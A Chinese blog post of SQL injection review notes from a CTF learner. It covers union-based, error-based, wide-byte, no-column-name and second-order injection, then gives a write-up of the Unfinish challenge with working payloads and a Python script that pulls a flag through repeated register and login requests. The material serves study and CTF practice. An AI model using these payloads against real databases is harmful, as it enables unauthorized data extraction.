sql注入复习

前言

最近做到sql注入的题目,都没有很敏感了,于是决定要重新复习一下

sql注入原理

源码对用户的输入的内容没有进行很好的过滤机制,导致用户输入的内容拼接到sql语句,影响原本sql语句的功能

sql注入种类:

回显注入

顾名思义,就是输入内容会有回显,我们可以通过回显内容判断是否成功过滤

?id=1'and 1=1'1
?id=-1'union select database()--+ #union还需要注意一下字段数

报错注入

数据溢出:

就是超过mysql的数据范围会报错:
但是又版本限制:<=5.5.4的三皈依出金额图将报错内容显示出来

主键重复

//数据库
select * from user where 1=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);
//表名
select * from user where 1=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
//字段
select * from user where 1=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
//值
select * from user where 1=1 and (select 1 from (select count(*),concat((select id from user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);

列名重复

这个可以用在无列名注入的时候,爆出列名

mysql> select * from (select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from user a join user b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'

xpath语法报错注入

利用extractvalue或者updatexml

一些特性注入

宽字节注入

看数据库编码是否发生改变

无列名注入

select 1,2 union select * from user;

二次注入

第一次插入数据库的数据被过滤,但是在下一次使用拼凑过程中以输入的形式进行组合,造成语句恶意拼接

[网鼎杯2018]Unfinish

注册以后发现用户名显示了,猜测语句是

insert into XXX ('','','') values ('','''','');

所以构造一下注入语句为:

xxxxxxxxxx insert into XXX (email,username,passwd) values ('',''+(select hex(database()))+'','');

在这里我们是使用+号这个运算符作为连接符
查询结果可以理解为:

0+database()+0

但是如果直接这样相加
img

是没有回显的,因为字母+数字在mysql里面加不了为0
所以要转化为十六进制,使用hex函数,但是经过测试,有的字符串只经过一次hex还是有字母,毕竟是十六进制~:
img
所以要经过两次十六进制的转换

接下来是构造语句:

username='+(select hex(hex(database())))+'
img 经过两次hex解码,得知数据库名为web img information又被过滤了--,这个时候就直接猜表名为flag就好了~ 发现会有科学计数法e的存在,所以会损失精度,所以需要用substr截取 img 这里学到了一个新姿势,就是substr from for 因为是逗号的时候会报错--
username=0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0

位数很多 需要使用脚本,脚本编写思路如下:
先在register注册账号,然后用login登录查询

import requests
import re
url='http://707e6b02-6d3d-4527-8899-ab194079ea88.node4.buuoj.cn/register.php'
for i in range(0,20):
# data={
# "email":str(i)+'@qq.com',
# "username":"'+substr(hex(hex((select * from flag))) from "+str(i*10+1)+" for 10)+'",
# "password":"1"
# }
# r=requests.post(url=url,data=data)
url2 = 'http://707e6b02-6d3d-4527-8899-ab194079ea88.node4.buuoj.cn/login.php'
data={
"email":str(i)+'@qq.com',
"password":"1"
}
r=requests.post(url=url2,data=data,allow_redirects=True)

print (re.findall(".*?</span>",r.text)[0].replace('</span>','').strip(),end='')

这里我是先批量注册,然后再批量登录通过正则定位编码位置然后组装
由于现在buu太容易崩溃惹。。。所以我就0-5获取一次然后5-10获取一下

363636433631363737423631363433383334363133383633333832443631333033353634324433343634333236363244363233343334333132443333363533393338363536353337333036313338363436333744

结果如上,然后hex解码两次即可

python利用正则表达式快速截取定位内容

以前就经常在想怎么在一大串的网页回显中截取自己想要的那部分内容,后来看了一下学长的脚本,发现使用正则表达式可以达到这种操作:

importe re#引入re库
str_txt = """
if (!mobileVisit) {
googletag.defineSlot "div-gpt-ad-15390086850-0").addService(googletag.pubads());
}
"""
comment=re.compile(r'div-gpt-ad-(.*?)-0',re.S)
comment1=comment.findall(str_txt)
print(comment1[0])

1.使用re正则表达式中的compile函数,在匹配内容的括号中写(.?)**
2.其中.\
?代表非贪心算法,表示精准的配对
3.在.*?的外面加个括号表示获取括号之间的信息
4.在(.*?)两边加上原文本中要匹配信息两旁的信息,例如要想获得字符串“abcdefg”中的cd,就要在(.*?)里面分别加上ab和efg
5.compile中使用的第二个参数是re.S,表示正则表达式会将这个字符串作为一个整体,包括”\n“,如果不使用re.S参数,则只在每一行内进行匹配,如果一行没有,就换下一行重新开始,不会跨行
6.compile()函数返回的是一个匹配对象,单独使用无意义,需要和
findall()**函数搭配使用,返回的是一个列表
————————————————

参考:https://blog.csdn.net/weixin_44346972/article/details/106746133

Author

vague huang

Posted on

2021-07-17

Updated on

2021-07-18

Licensed under

Comments